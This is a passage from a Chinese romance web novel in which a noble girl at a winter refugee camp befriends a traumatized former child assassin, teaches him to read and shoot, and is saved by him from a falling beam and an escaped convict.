“没有啊。”苏甄儿睁着一双无辜大眼,“母亲怎么这样想我。” 知女莫若母,梁氏深知自家女儿这副纯白皮囊之下藏着怎样一个狡黠性子。 梁氏无奈笑笑,“河对岸的梅花开了,我今天晚上给你做梅花汤饼吃。” 苏甄儿挽着梁氏胳膊的手一顿,真心道:“我怕母亲劳累。” 梁氏慈爱道:“母亲不累。” 苏甄儿:……- 帐篷内烧着炭盆,盖着厚毡的帐篷门口被揭开一角。 苏甄儿坐在圆凳上,双手托腮,看母亲做梅花汤饼。 “甄姐儿饿了吗?” 苏甄儿立刻摇头,“不饿,母亲。” “等一会就做好了,母亲多做些。” 苏甄儿:……其实她也不是很想吃母亲做的梅花汤饼,因为实在是,太难吃了! 梁氏几乎不下厨,她唯一会做的东西便是梅花汤饼,因为此物看起来十分文雅好看,符合她文艺才女的人设,所以梁氏就很喜欢。只是她深藏于内宅之中,没有地方展示自己的手艺,便只好做给一双儿女吃。 苏甄儿年纪大些,舌头也刁钻,可因为是梁氏亲手做的梅花汤饼,所以她每次只能硬着头皮说好吃。 奇哥儿年纪小,嘴不挑,可即便如此,面对梁氏的梅花汤饼,他也产生了抗拒心。不过抗议无效,不止每次都要被逼吃完,苏甄儿还会默默将自己的倒进他碗里,让他一起吃掉。 此次出行救助难民,奇哥儿没有跟出来。 苏甄儿看着梁氏正在煮的一大锅梅花汤饼,已经胃疼了。 对于自己做的梅花汤饼,梁氏有着极其浓厚的滤镜,觉得美味至极。 苏甄儿硬着头皮喝了一口。 好咸。 “怎么样,母亲的手艺是不是一如既往?” “嗯。” 一如既往的难吃。 苏甄儿双眸呆滞的往嘴里塞梅花汤饼。 作为一个小饕餮,吃自己不喜欢的东西对她来说简直就是一种折磨。 幸好,这种折磨并未持续多久。 今日又是施粥,又是给苏甄儿煮梅花汤饼,梁氏也累了。 苏甄儿赶紧劝自家母亲大人赶紧歇息,然后自己也趁机溜走。 梁氏看着苏甄儿迫不及待离开帐篷的背影,好笑着摇了摇头,然后背过身子,轻轻咳嗽了几声。 帐篷内烛火摇曳,梁氏看向模糊的铜镜,镜中的自己面色被锅火气晕得微红,看起来健康不少。 苏甄儿的帐篷就在梁氏隔壁,虽是帐子,但里头用的东西可都是难得一见的好东西。牙雕的床,手工钩织出来的芙蓉花地衣,黄花梨多宝格的柜子等等。 前些天暴雪,很多姑苏百姓被冻伤了,梁氏主动让出了自己的寒山寺内的厢房让百姓居住,自己带着苏甄儿搬到了帐子里。 一开始苏甄儿还有些不适应,住了几日倒也习惯了。因为此地人多,所以梁氏安排了护卫守在帐子门口,每日早晚也有其他护卫轮班维持秩序。 苏甄儿洗漱完毕,放下床帐,躺在床铺上搂着怀里的汤婆子想。 最近母亲身子看起来康健不少,莫非母亲的身体要好了? 从前她不信佛,可因为母亲相信,所以苏甄儿也跟着学习烧香拜佛,抄写佛经。她想,定是母亲积德行善,感动上天,如此身体才会逐渐好转起来- 暴雪过后,天气时阴时阳,温度并没有明显回升。 天色未亮,营地内的人还没起身,连鸡鸣也不闻。白色雾气萦绕,能见度极低,凝白的霜色挂满枯枝,连带着对岸的梅花都打上云白色。 山间雾色笼罩,山路被隐没,河面上团聚起密集浓雾,托起横桥,吞没寺庙。 少年蜷缩着身体,浑身发烫,这并不是风寒地冻引起的发热症状,而是身体内长年累月积攒的药物毒素在攻击身体。 记忆一段一段,在脑中浮浮沉沉。 “逃出去,一定要逃出去……”女人的声音在脑中回荡,碎片一般零星出现。 “人不应该这样活。” 又是一道男人的声音,低哑暗沉,带着沉痛的撕裂感,他们站在一起,四只手推着他,将他使劲往上抬。漫天漫地的大火从四面八方吞噬而来,呛人的浓烟围绕过来。 少年瘦弱的身体终于被推出去,他转身,身后的铁门被两人拉上。 他没有看到那两人的脸,视野中最后一丝火光带着那两人一起湮灭,他们与那场火一起留在了那里。 少年急促喘息着,却没有醒,梦还在继续。 他站在荒野之地,这里有间茶馆,供过路之人休息。 他安静地站着,黑色的头发遮挡住面部,很瘦,盯着笼屉里的馒头发呆。 杀人,杀光这里的人就能获得食物。 这是他学习到的生存之道。 少年抬脚,向前走了一步。 他的腰间藏着一柄羊角匕首。 沾染着血渍的羊角匕首被磨得极其锋利,那是他保护自己的唯一武器。 “来,小孩,给你的。”茶馆老板突然抬手,朝他扔了一个馒头。 少年抬手接住,馒头温热,皮白面软,烫了他的指尖。 他抬眸,看向老板。 “小孩,吃完就走吧,朝前走才有活路。”老板叹息一声,“现在这世道难活,我们也要搬走了。”一批又一批的流民从这里路过,往南方去。 少年盯着老板,嗓音嘶哑的开口,“你要,杀谁。” 老板一愣,脸色微变,看向少年的视线带上了警惕,随后又看到了他握在手里的羊角匕首。 那匕首上沾着血,还有黏糊的碎肉。 少年歪头看他,黑发中露出一只蔓延着沉寂死气的眼,他抬起瘦弱却有力的匕首,横在胸前。 虽然年纪小,但他是死士中最出色的一个,那些被派来追杀他的死士都被他杀了。 “疯子……”老板下意识朝他扔出了手里的茶壶,铁制的茶壶砸在少年脚边,滚烫的热水从地上溅起,有些落在他裸露的肌肤上,立刻泛起通红的水泡。 少年一动未动,只是握着手里的馒头和羊角匕首,神色困惑。 “滚,滚开!” “疯子,怪物!” 无数不同的声音从四面八方涌来,充斥在他脑中。 他是疯子,是与这世间格格不入的怪物。 人不应该随意的杀人。 人不应该为了食物而杀人。 人不应该分食同类。 他不是人。 却也当不回怪物。 因为他知道,他应该是人,可他偏偏又不是人。 他不明白,人应该怎么活。 他是人吗? 少年使劲颤着眼睫,豆大的汗水从额前滚落。 梦魇笼罩着他,他的喘息声越来越大,瘦弱的胸膛上下起伏,却始终醒不过来。 他害怕待在人多的地方,害怕被他们发现自己是怪物。 他发现这个世界很大,却没有他的容身之地。 药物继续翻涌,心脏处有隐隐疼痛之感,身体在混沌中如同被放入了蒸笼一般,而即使是在如此糟糕的身体情况之下,当眼前的帘子被撩开的时候,少年还是下意识伸手朝入侵者抓了过去。 那是潜藏在他体内的怪物本性,因为在那个地方,你随时都可能会丧命,所以,不是你死,便是他亡。 他的眼皮支撑起一点,还未看清人影,便嗅到一股淡淡的芙蓉花香。 脑中闪过一个身影,少年动作一顿,可尖锐的指甲还是划破了少女的手背。 三条细长的伤痕,如同猫抓一般,从手背蔓延,鲜血渗出,少女惊呼出声,生性眼泪瞬间涌出。 混沌感消失,少年清醒过来,他蜷缩在狗窝里,仰头看去,少女一袭芙蓉粉色斗篷,香腮挂泪握着手背瞪向他,可在对上他带着血色的指尖时,眸中惊惧一闪而过,下意识后退了几步。 “汪汪汪!”狗窝里,被少年挤到角落的大黄狗对着苏甄儿发出响亮的叫喊声。 苏甄儿的脸更白了。 她怕狗。 少年立刻转头,从喉咙里发出一阵更低且持续的“呜呜”声,带着警告和压制的意味。 大黄狗立刻没了声音。 天色还未亮,苏甄儿早起去替母亲取腊梅花瓣上的雪水泡茶,没曾想路过狗窝的时候透过破破的帘子看到狗窝里有人。 她看到那熟悉的黑色棉袄颜色,心中好奇心起,小心翼翼的上前伸手撩开,还没看清楚里面的人是谁,就被抓破了手背,连带着拿在手里的玉瓶也被打碎了。 狗窝在偏僻处,四周安静极了,狗叫声停止之后,更显出几分寂寥宁静。 少年双手抓在地面上,指尖深深陷入泥泞之中。 药物作用再次涌来,他的眼前模糊不清,出现重叠的幻影,那些声音再次出现。 “他怎么睡在狗窝里?” “你看他,吃狗食。” “他是怪物。” 身体开始痉挛疼痛,身上的骨头发出尖锐的嘶鸣声,经脉从血肉里崩开,身体不断下沉,如同溺水之人一般,少年的眸色变成死气的灰败。 “喂,你怎么了?” 苏甄儿原本是应该生气的,可她看到少年的样子,顿时察觉到他的不对劲。 “走,走开……”隔着破旧的帘子,里面传出少年嘶哑的嗓音。 苏甄儿作为公府小姐,素来被捧得极高,从来没有人敢在她面前说这种话。 手背上的疼痛再加上情绪上的愤怒,苏甄儿扔下一句“走就走!谁要管你!”便转头就走- 肌肤炙热,如同火烧。 少年跳入河中,深深沉底。 从前他在那个地方的时候就是这样做的。 他的身体虽然有抗药性,但副作用却比其他人更强,彷佛是因为不能控制他的大脑,所以就折磨他的身体。 河水托起他的黑发,露出清瘦的面部轮廓,只是可惜,肌肤之上,由于药物而爆发的疮面斑点几乎蔓延了半张脸。 不止脸上,身上更是还有很多。 这些疮口疼痛起来便如同针刺火烧,恨不能让人将自己拆开了塞进冷雪最深处。 第73章 多疼些 手背上的伤口不能碰水, 当时看着鲜血淋漓,实际上倒也不深,三日后便愈合了。 只是少女肌肤白皙,手背处那三道抓痕清晰明了, 每日都要费劲涂抹祛疤药膏。 想到这里, 苏甄儿更气了。 她决定以后再也不搭那少年了。 那少年或许也知道是得罪了她,因此一连小半月都没敢出现在她面前。 最近连日下雨, 泥地湿滑, 刚刚搭好的几个帐篷又塌了。 吴伯忙得脚不点地,苏甄儿在帐篷里养了几日, 又待不住了,想起枫桥对岸的梅花,一大早又起身去摘。 母亲还未起身, 苏甄儿想着若是母亲瞧见这一大捧梅花,定然会很高兴。 清晨风起,昨夜积攒在花瓣枝桠上的雨水飘摇着往下落,滴滴答答倾洒在少女身上。 苏甄儿侧身避了避,摘下最后一枝梅花,便抱着往营地去。 天色大亮, 大家正干得热火朝天。 她抱着梅花朝前走, 穿进刚刚支起的帐篷架子下面。空荡荡的架子用木条支撑起来,被风一吹, 发出“吱呀”一声。 苏甄儿下意识抬头看一眼, 便见那绑着木头的绳子摇摇晃晃地松开。 下一刻,那木头上挂着半根绳子,荡在半空中,卷着风, 气势凛凛的朝她砸过来。 躲闪不及,苏甄儿下意识抬手阻挡,怀中梅花枝尽数落地,有风从耳边刮过,想象中的疼痛并没有到来。 “小姐!小姐你没事吧!” 四面传来惊呼声。 苏甄儿睁开眼,率先看到的是少年单薄的后背。 他抬手格挡住了迎面朝她砸过来的木头,然后在众人围拢上来之前,又迅速离开。 苏甄儿被带离危险地带,吴伯将她护送回营帐,刚刚起身的梁氏听说了这件惊险的事情,立刻将她上上下下好好检查了一番,确定没事之后,才松了一口气。 “吴伯,让大家都警惕些,当心伤了人。” “是,夫人。” 主母没有责怪,吴伯心里松了一口气,赶紧出去盯着了。 “没事吧?” 苏甄儿摇头,神色却有些恍惚,她低头看向自己的手背,那里三条抓痕在祛疤药膏的功效下已经只能看到三条浅白的痕迹。 “母亲……”苏甄儿欲言又止。 “嗯?”梁氏站在苏甄儿身后,替她梳歪掉的髻发。 “没事。”苏甄儿摇头。 当时太慌乱,或许是她看错了- 虽然苏甄儿确实没受伤,但梁氏怕她被惊吓到,还是让人去请了医士过来。 医士过来替苏甄儿把脉,确定只是受了一点小小的惊吓之后给她开了几副安神的汤药便走了。 苏甄儿捏着鼻子,在梁氏的注视下将汤药喝了,这才被允许出门。 方才晨间的天气还雾蒙蒙的,到了午后莫名出了几缕日头,像撕开了白纱云雾的利刃,直挺挺的从云层里透出来。 风依旧很大,苏甄儿拉紧自己的兜帽挡风,避开搭建帐篷的地方,穿梭在人群里寻找着某个人。 “小姐,这边危险,您别过来了。”吴伯看到苏甄儿的身影,想到早上的危险,赶紧过来提醒。 “我知道的。吴伯,那个人呢?” “谁?” “就是那个我救回来的人。” 那少年实在太过古怪,吴伯记得他。 “刚才看到他往那边去了。” 吴伯抬手指向没什么人的岸边。 苏甄儿点头,朝吴伯手指方向过去。 虽有阳光,但很淡薄,苏甄儿走出一段路后,远远看到少年身影。他站在河里,黑色的棉服被置在岸边,他正在搓洗身上的污泥。 不知道被用过多少次的皂角已经从之前的四方角变成了圆滚滚的一块。 少年抬高胳膊,冷白的冬日阳光下,苏甄儿看到他青紫的胳膊。 很明显,这是新伤,而且位置也对。 原来刚才真的是他突然出现替她挡住了那木条。 那么大一长条木头,还带着惯性砸过来,少年血肉之躯,自然会疼。 苏甄儿加快脚步,走到河边。 “喂。” 少年听到她的声音转头,动作也跟着停住了。 “你,不疼吗?”不知为何,苏甄儿略觉有些尴尬,大抵是因为上次两人的不欢而散。 少年眨了眨眼,没有回答,似乎是不明白苏甄儿在说些什么。 “胳膊。”少女声音更小了。 少年却听到了。 他说,“不疼。” 确实不疼,身体已经习惯了这样的伤害,这种小伤对于他来说简直就跟挠痒痒似的。 苏甄儿双手负在身后,手指摩挲着自己的手背,她张了张嘴,嗫嚅出声,“谢谢……” 少年歪了歪头,很显然,因为少女声音太小,所以他没有听到。 苏甄儿却不再讲了,她脸色微红的拉高声音,“你怎么又洗冷水澡?我带你去洗热水澡。” 这算是一种破冰的示好。 “不是,”少年突然弯腰,然后从河里掏出一条鱼,“在摸鱼。” 苏甄儿:……- 照旧还是那个帐篷,苏甄儿让吴伯替少年备了衣物热水,而她则一个人去了梁氏的帐篷里。 “母亲,我要那个治疗跌倒肿痛的药,父亲上次从军营里带回来的。”苏甄儿拉着梁氏的胳膊,让她替自己去拿药。 “怎么了?”梁氏伸手抚过苏甄儿的面颊,“伤到哪了?” 苏甄儿摇头,“不是我。”她将早上自己是被那少年救了的事情跟母亲说了。 梁氏听罢,立刻便道:“那自然要好好谢谢人家。” “我知道的,”苏甄儿拉着梁氏的手撒娇,“我之前不也救了他嘛。” 梁氏笑了笑,将找到的药递给她,“你这药是给那个小少年的?” “嗯。”苏甄儿点头,然后又问梁氏,“母亲,你说一个人怎么会不知道疼呢?” 梁氏神色一顿,耐心解释,“或许不是不知道疼,只是喊了疼也无人在意。” 苏甄儿恍然大悟,心中莫名其妙生出几许异样情绪。 看在他救了她一次的份上,那她就……多疼他些吧- 苏甄儿拿着药去到帐篷前时,少年已经沐浴完毕。 他穿着吴伯替他挑的亮红色花袄子棉服站在那里,看起来有点呆。 他大概是觉得有些不对劲,却又不知道到底是哪里不对劲了。 吴伯是个上了年纪的人,就喜欢鲜亮的色彩。而对于少年来说,这种鲜亮的色彩让他感觉非常不适应,毕竟野兽出门在外,过分鲜亮会成为猎手的猎物。 不过吴伯挑的也没错,换上这靓丽红色,少年整个人看起来都活力四射不少,那股子阴郁气质也被压住了。 “我去给你端姜汤过来。”吴伯看着少年满意地点了点头,转身去替他拿姜汤。 苏甄儿趁机过来,“给你,”她将手里的药膏递给少年,“这个是我父亲从军营里带回来的,抹在伤口处,效果很好。” 少年抬手,接过少女手中的药膏。 温润瓷白的瓶子,浸润着少女柔软的温度。 对了,还有一件事。 苏甄儿想起上次她是被狗窝里发现少年的。 “吴伯没给你准备帐篷吗?” 端了姜汤过来的吴伯正听到这话,赶紧道:“小姐可不要冤枉我,我给他备了,是他不愿意住。” 苏甄儿看到姜汤就头疼,幸好,这碗姜汤是给少年的。 少年看到姜汤时,下意识皱了皱眉。 “快点喝,也不知道你怎么想的,居然在这么冷的天下水摸鱼。”吴伯将姜汤塞给少年。 苏甄儿道:“快喝。” 少年轻抿双唇,端起姜汤一饮而尽。 下一刻,他瓷白的肌肤上泛起绯红色泽。苏甄儿发现,半月不见,少年斑驳生疮的肌肤明显好了许多,只是还有很多瘢痕印子。 看来她用的那个去疤药膏也得给他准备点了。 “我去看看你住的帐子。” 因为这次少年救了自己,所以苏甄儿也不再为上次被抓伤的事情生气了,两人的关系甚至比之前更近一步。 苏甄儿让吴伯领着她去看少年睡的帐子。 一个帐子里挤了十个人,苏甄儿刚刚走到门口就嗅到了一股臭味。 她连忙后退三步,摇了摇头,“不去了。” 吴伯道:“冬日天寒,撩了帘子炭盆就不管用了,为了节省碳火,一般都是掀开一条小缝,如此里面不透气,味道自然不好闻。” 苏甄儿记得吴伯说过,少年不喜欢跟别人一起相处,难道这就是他不愿意住帐子的原因? “吴伯,还有多余的帐子吗?一个人住的那种。” 吴伯想了想,“倒是有一个,只是位置偏远,用来当仓库了,小姐若是想要,我让人出来。” 位置偏远,这对于少年来说反倒更合适。 “要。”- 吴伯动作很快,不过半个时辰,那个用作仓库的帐篷就被出来了。 苏甄儿挑了一张结实的红木床,然后又让吴伯搬了被褥过来。 一人间的帐篷小,几个简单的家具摆进去之后就没多少余地了。只是这帐篷堆放货物太久,总能嗅到一股霉味。 苏甄儿便将自己的熏炉拿了过来。 熏炉燃起,整个帐子都染上了芙蓉香,遮盖住了那股霉味。 “以后你住这里。” 苏甄儿将少年带了过来。 少年一进帐子,就看到了冒烟的熏炉,清雅的芙蓉香气从里面蔓延出来。 “不要再睡狗窝了,那不是给人睡的,是给狗睡的。” 这句话似是戳到了少年的心尖。 他垂眸,视线被袅白的熏香覆盖,声音很轻,像缥缈的雾气。 “我不会……当人。” “你说什么?” 苏甄儿没听到,她正用铜签拨弄熏炉。 少年看着少女柔软的背影,张了张嘴,却莫名生出了一股羞耻感。 他后退一步,藏起自己尖锐的指尖,试图隐藏起自己怪物的本质。 “我不识字……” 这回听清楚了。 苏甄儿转身道:“我教你。”- 第一次收徒,苏甄儿显得既兴奋又紧张,她想起之前母亲带她拜师的时候,还给老师送了束脩,看少年的模样,定然也凑不齐这束脩六礼。 “你去替我摘枝梅花过来,就算是拜师礼了。”苏甄儿将少年带到岸边,抬手指向河对岸的梅花树。 梅花迎风展开,窸窸窣窣的摇摆,开的不算太好,清冽的冷寒香气却不断随着冬风飘散过来,即使隔岸也嗅得异常清晰。 少年转身就要踏入河中,苏甄儿立刻上前阻止,“等一下,那边有桥!” 少年顿住步子。 苏甄儿大喘一口气,“我们走桥。” 两人行过枫桥,来到对面岸边。 此处几棵梅花古树枝桠蜿蜒,花瓣被吹落于地,窸窸窣窣飘到河面上。 “那边,那支好看,还有那支。” 苏甄儿一顿指挥,少年摘了一大捧下来,他鼻息间嗅到梅花的香气,却觉得不及少女身上的芙蓉香好闻。 “好了,差不多了。”苏甄儿上前,欲接过少年手中梅花,却不想少年下意识后退三步,然后将梅花放到了侧边大石上。 苏甄儿:…… 姑苏城内别的郎君看到她,都会立即围拢上来吹捧夸赞几句,将她哄得心花怒放,偏他看到她靠近,如同看到洪水猛兽一般。 苏甄儿嘟囔一句,弯腰将梅花抱起,“今日你的束脩我就收下了,以后我就是你的老师了……”顿了顿,苏甄儿突然想起自己小淑女的身份,“算了,男女有别,你还是别唤我老师了。” 营地里飘起炊烟,到用晚膳的时候了。 “时辰不早,我们回去吧。”- 苏甄儿抱着梅花,两人一道往营地里走。 少年跟在她身后,路过狗窝的时候突然动作一顿。 大黄狗正趴在狗窝里睡觉,突然感觉眼前一亮,破帘子被掀开,少年的脸放大出现在狗眼中。大黄狗吓得一个哆嗦,迅速往里缩,给少年留出地方。 少年却没进去,只从稻草下面扒拉出来一个用破布包裹住的东西。 苏甄儿正说着话,突然感觉身边没人了,她扭头,看到少年从狗窝里刨出一个东西。 他打开那块破布,露出里面温润的瓷白碎片。 苏甄儿认出来,这是上次她在狗窝前打碎的瓶子。 “碎碎平安,我不要了。” “不要了?” “嗯,都碎了。”- 天色微暗,营地内升起篝火。 少年踏入自己的帐子。 帐子不大,角落处的熏香已经燃尽,可那股芙蓉香却浸满了帐子的每一寸地方。 少年走到床褥边,盯着床看了好一会儿,才尝试着坐上去。 好奇怪。 其实他更喜欢蜷缩在狗窝里睡觉。 可是这帐篷里的味道,又好香。 想了想,少年卷着被子,缩到了床底下。 黑暗中,他掏出那些碎瓷片,扒拉开帐子下面的泥,埋了进去。 第74章 小老师 按照约定, 苏甄儿成为少年的小老师。 因为少年毫无基础,所以苏甄儿便手写了最基础的字帖给他。 “先练字,有什么不懂的可以问我。” 教学地点被苏甄儿安排在河边树下。 她让人在这里搬了桌椅板凳,又能欣赏美景, 又没有人打扰。 少年盯着字帖看了一会, 然后拿起毛笔。 “错了,毛笔不是这样拿的。” 苏甄儿拿起桌边的木尺, 轻拍少年手背, 然后亲自示范。 “大拇指挺直,食指和中指夹紧笔管……你怎么了?很热吗?” 四月的天气逐渐回暖, 可还不至于到坐了一会儿就脸色潮红的程度吧? 少年迅速收回目光,摇头。脑中却挥之不去少女柔软白皙的指尖,像拨开的笋, 青葱一样细长,指尖都透着淡淡的粉。 原本以为按照少年的进度,要很长一段时间才能掌握,没想到仅仅两个多月,他便认全了大部分字,甚至那些书籍只看过一遍, 就能记住大半, 如此天赋,令苏甄儿这个老师又骄傲又嫉妒。 骄傲的是少年如此优秀是由她培养出来的。 嫉妒的是少年青出于蓝而胜于, 那她这个师傅的颜面往哪里放? “你的字写的很一般。”苏甄儿左挑右挑, 挑了一个缺点,“回去重新将我的字帖抄写十遍。” “嗯。”对于苏老师的话,少年一概听从,是个十分难得的好学生, 一点叛逆心思都没有。 面对如此乖巧的好学生,苏甄儿对自己的阴暗嫉妒心思有了一点不好意思。 “咳,这些你都看完了吗?” 苏甄儿对那些风花雪月的诗句情有独钟,少年却爱金戈铁马,挑灯醉剑,尤其是对苏甄儿父亲留下的兵书很感兴趣。 一开始那兵书是误夹在书籍里被苏甄儿带出来给少年的,没想到少年看到之后对其产生了浓厚兴趣。 “嗯。”少年点头,指腹摩擦过兵书,显出几分难得一见的眷恋之情。 “你喜欢这个?”苏甄儿好奇询问。 少年神色困惑,“喜欢……是什么?” “喜欢就是看到的时候会心生愉悦,小心对待,格外珍视。” 心生愉悦,小心对待,格外珍视。 少年在心里咀嚼着这十二个字,他的视线落到坐在自己对面的少女身上。 春日已至,阳光也逐渐变得温暖起来,岸边高树抽出新芽,身穿鹅黄春衫的少女坐在他对面,翻阅着他的课业。她的眼睫很长,浓密如墨扇,轻轻垂下,又慢慢掀起。 他看到她,就心生愉悦。 想要小心对待,置于盒中珍藏。 “……喜欢……” “那我下次再给你带。”检查完少年的课业,苏甄儿注意到他搭在桌案上的手背处又有新的疮口冒出来。 “你身上的疮口怎么还没好?” 少年下意识用袖子遮盖住手背,低垂下头,黑发长长落下,将原本就看不清楚的脸遮盖的更严实了。 药物在体内反复发作,反应在肌肤的疮口上。 尤其春日,药物反应剧烈,疮口又痒又疼,被少年无意识抓挠之后,更是严重。 “这次一定要去看医士,然后好好用药。”少女蹙着好看的眉头叮嘱。 少年继续乖巧点头。 翌日,两人依旧在老地方见面,这次少女身后跟了一位脸生的丫鬟。 检查完少年的课业,苏甄儿问道:“去看医士了吗?” 少年点头。 “开药了吧?”少女笑眯眯的,显然是对少年吃药这件事有些幸灾乐祸。 “嗯。” 苏甄儿朝身后的丫鬟伸出手。 “绿眉,给我。” 绿眉打开食盒,从身侧的食盒去取出一个用帕子包好的蜜枣递给苏甄儿。 “喏,蜜枣。药很苦,吃完药你就含一颗。” 少年垂目,摇头,“不……” “不要?” 她好心给他带蜜枣吃,他居然不要! “随便你!”苏甄儿将手中的蜜枣往桌子上一拍,气得瞪他。 “不是,医士开的药丸。”少年赶紧一口气说完。 正在瞪眼生气的苏甄儿:…… “噗。”身后脸嫩的小丫鬟发出一道很轻的笑声。 苏甄儿:……- 随着春日的到来,住在难民营里的人也陆续离开去外头寻找生计,人一下就少了许多。 因为难民数量减少,所以苏甄儿就随母亲从营帐搬到寒山寺的客房里去了。 少年依旧住在寺外帐篷里,苏甄儿每日起身后便来河边找他。 两人维系着纯洁的师生友谊已经有几个月了。 少年的成长速度惊人,让苏甄儿觉得她这个师傅已经有些没什么可教了。 春日过去,夏季来临,苏甄儿怕晒,来的频率少了许多。 这日,她和少年约好在河边树下见面。 少年手持书籍,注意力却不在这上头。 他微仰起头,透过稀疏的枝桠,看到天空上飘着的薄云。 日光耀目,少年眯起眼。 “喂。” 身后响起少女的声音。 少年转头,看向身后。 苏甄儿有很多衣物,有时候一日要换三四套。 少年眨了眨眼,看着朝自己走来的少女。 她一袭翠绿夏衫,与夏日浓绿融为一体。 她从坡上下来,抬手撩起帷帽薄纱,身后彩霞漱云流淌,却不及她半分惹眼。 少年脑中闪过一个词。 云霓之望。 出自李白《清平调·其一》。 云想衣裳花想容,春风拂槛露华浓。 喜欢的东西像天上的云霓一般可望而不可即。 少年下意识攥紧手中书籍。 “你在看书?有什么不懂的吗?”少女来到他面前。 少年下意识将书籍往后藏,然后摇头。 “学这么快……”苏甄儿嘟囔一句,视线一转,看到置在桌案上的弓箭。 “你哪里来的弓箭?” “别人给的。” 一开始,少年根本就没有人缘,可在经历过苏甄儿的大改造之后,大家都觉得少年虽有些奇怪,但心肠不坏,就是性子冷了点,三句话不回一句,大家逐渐习惯,也不再将他当作异类。 少年年纪虽轻,但一身古怪武艺,让总跟随在苏甄儿身后的护卫们眼馋,时常想跟他切磋切磋,便送来弓箭示好。 这弓箭也并非特别好,胜在轻便适合少年人用。 苏甄儿看到弓箭手痒,心里又起的炫耀心思,“我教你箭术。” 苏甄儿在箭术上是极有天赋的,这种天赋大概来源于她的武将父亲。 苏甄儿弯腰,拿起那弓箭,试了试手感,便朝少年道:“你指一片叶子。” 叶子? 少年歪头,看向河对岸,随手指向那片挂在粗枝上的独生叶。 苏甄儿扬唇,拉弓搭箭。 下一刻,长箭飞过河面,正中那片绿叶。 少年瞳色震颤,即使因为黑发遮盖,所以看不清他的表情,苏甄儿也能感受到他的震惊。 苏甄儿将弓箭放下,单手掩在身后,脸上不掩得意之色。 身后,她努力地搓自己的指尖关节。 好疼。 这弓真硬,她真是使出了吃奶的力气。 可为了自己单薄的面子,苏甄儿还是强忍着疼痛,朝少年扬了扬下颚,“你试试,也不是很难的。” 她的箭术可是万里挑一,不难才怪! 少年握起那弓箭,学着苏甄儿的样子射向对面。 长箭歪了,坠入河中。 “哎呀,没中。”苏甄儿得意洋洋地嘬了嘬唇,柔软的唇角怎么都压不下来。 不过少年第一次射箭,她还是要鼓励鼓励的,“你这样已经很好了,再试试吧。” 少年点了点头,又拉弓搭箭。 下一刻,长箭破风而起,直直射入对岸枯枝之上,箭尾颤抖,发出铮铮嗡鸣。 力气巨大又稳准狠,能看出来天赋不在她之下。 苏甄儿:…… 第75章 惊旖梦 四周突然安静下来, 唯有风吹树叶撩过枝桠的簌簌之音。 少女的脸色一阵青一阵白。 少年转头,看到苏甄儿的面色,略显局促,“射的, 不好?” 是射的太好了! 苏甄儿深吸一口气, 努力微笑道:“还行吧。” “下次,我会射中叶子。”少年以为少女是对自己不满, 故此立刻许下承诺。 苏甄儿:……更气了。 少女扭头就走, 走到一半觉得不过瘾,又返回来, 让少年将手中弓箭放下,然后抬手指向对岸,“我要那片叶子, 你替我去摘。” 苏甄儿指向方才被她射过的那片叶子。虽然不知道少女为什么要那片叶子,但是少年还是乖巧点头,然后奔向枫桥绕到对岸,三下五除二爬上树,去替她摘那被射破的叶子。 叶子位置刁钻,少年站直了身体也有些勉强。 他站在粗枝上, 努力踮脚之后身高还是不够, 便试探着又往上爬了一截。 苏甄儿轻哼一声,正准备把人晾在这里, 转身之时却看到身后有人朝她疾奔而来。 此地人少, 属于荒地,常有解差带着犯人绕近路从这里走过,不过从未发生过什么事,可今日却是不巧。 那人脸上刺面, 身上戴着枷锁,面目狰狞的朝苏甄儿奔来,显然是在慌乱之间环顾一圈,觉得像她这般的柔弱少女是作为人质筹码的最好选择。 那中年男子身形强壮,形如恶鬼般扑来。 河对岸的少年双眸圆睁,从高树上一跃而下,踏水奔来。 苏甄儿知道,她跑不过这犯人。 电光火石之间,她弯腰捡起地上长弓,攥紧手中弓箭,指尖颤栗,抬手,射箭。 因为射程太短,所以她只来得及射一支箭。 长箭刺入中年男人的眼睛,那人发出一道凄厉声响,脚步果然停住,却依旧不依不饶的朝苏甄儿跑过来。 那边,射出一箭的她扔掉手中长弓,转身往少年的方向跑。 而就在她转身之时,少年已至她身后。 那犯人因为视力受阻,所以脚下一滑,从苏甄儿身边翻滚落入河中,正被少年一把擒住,死死按在河里。 “那是逃跑的囚犯!”跟在那犯人身后的解差气喘吁吁的赶到。 苏甄儿脱力地靠在树边,看那犯人浮在水面停止挣扎,血色从河面晕染开,少年一只手便将其提了起来扔到岸上。 “这位小姐没事吧?” 解差眼睛毒,一眼就看出苏甄儿穿戴非凡,赶忙请罪。 “无碍。”苏甄儿淡淡出声,然后转头看向蹲在河边盯着那中年男人看的少年,“你没事吧?” 少年摇了摇头,视线落在中年男人脸上。 在靠近太阳穴的地方,那里有一个清晰的刺面。 “奸。” 少年缓慢开口,念出这个字。 他知道这个字的意思。 “这是刺面,一种刑罚。”那解差解释道:“小兄弟年纪小,不知道也正常,这犯人犯了奸yin之罪,故此刺面。” 少年神色一顿,脑中闪过什么,他站起来,视线紧紧盯在那刺面上。 黑色的刺面,刺目异常,宣告着此人的恶行。 背部后腰处的烙印突然开始泛起古怪的疼痛,那并非伤口在疼,而是一种心引起的。 灼烧感从后腰处蔓延开来,少年踉跄一下,身边传来少女柔软的嗓音,“你怎么了?受伤了?” 少年转头,看向躲在树后的少女,他眼瞳闪烁,然后摇了摇头。 没受伤就好。 苏甄儿缓了缓神,看那解差一边请罪,一边将剩下一口气的犯人重新绑起来。 突然,那解差叹息一声,“乱世来了,人性都到了最低处,从前这些犯人知道逃出去也无容身之地还算安分,现在到处都是匪患窝,猖獗至极,甚至还有专喜收这些恶人的贼窝,他们奸淫掳掠,无所不干,也没有人管……小姐出行还是要带着护卫。” “多谢提醒。”苏甄儿点头,目送那解差离开之后,才惊觉自己浑身都是冷汗。 初遇少年之时,苏甄儿就见过这种事,只是当时那犯人是追着少年的,她周身还有护卫保护,现在却是冲她而来,苏甄儿难免有些被惊吓到,也不想再待在这个地方了,便与他道:“与我回去换套衣裳,我带你进寒山寺,那里有座藏经阁,里面不止有佛书,还有很多绝版古籍。”- 苏甄儿于厢房内沐浴过后,换了一身衣物,出门的时候正看到站在甬道中的少年。 少年换过一身苏甄儿专门替他准备的公府护卫服,垂目站在那里,身上还背着那把破弓箭,不知道在想些什么。 “绿眉,我上次让你带过来的弓箭呢?” “在您的厢房里,奴婢去拿。” 绿眉去替苏甄儿取了她父兄为她做的小弓来。 苏甄儿伸手抚摸一把,然后走到少年身边,“喏,给你。”她将手里的小弓递给少年,“谢你方才救我。” 别看这弓箭瞧起来平平无奇,用的却是极好的材料,比起少年手中那把斑驳的旧弓可结实多了。 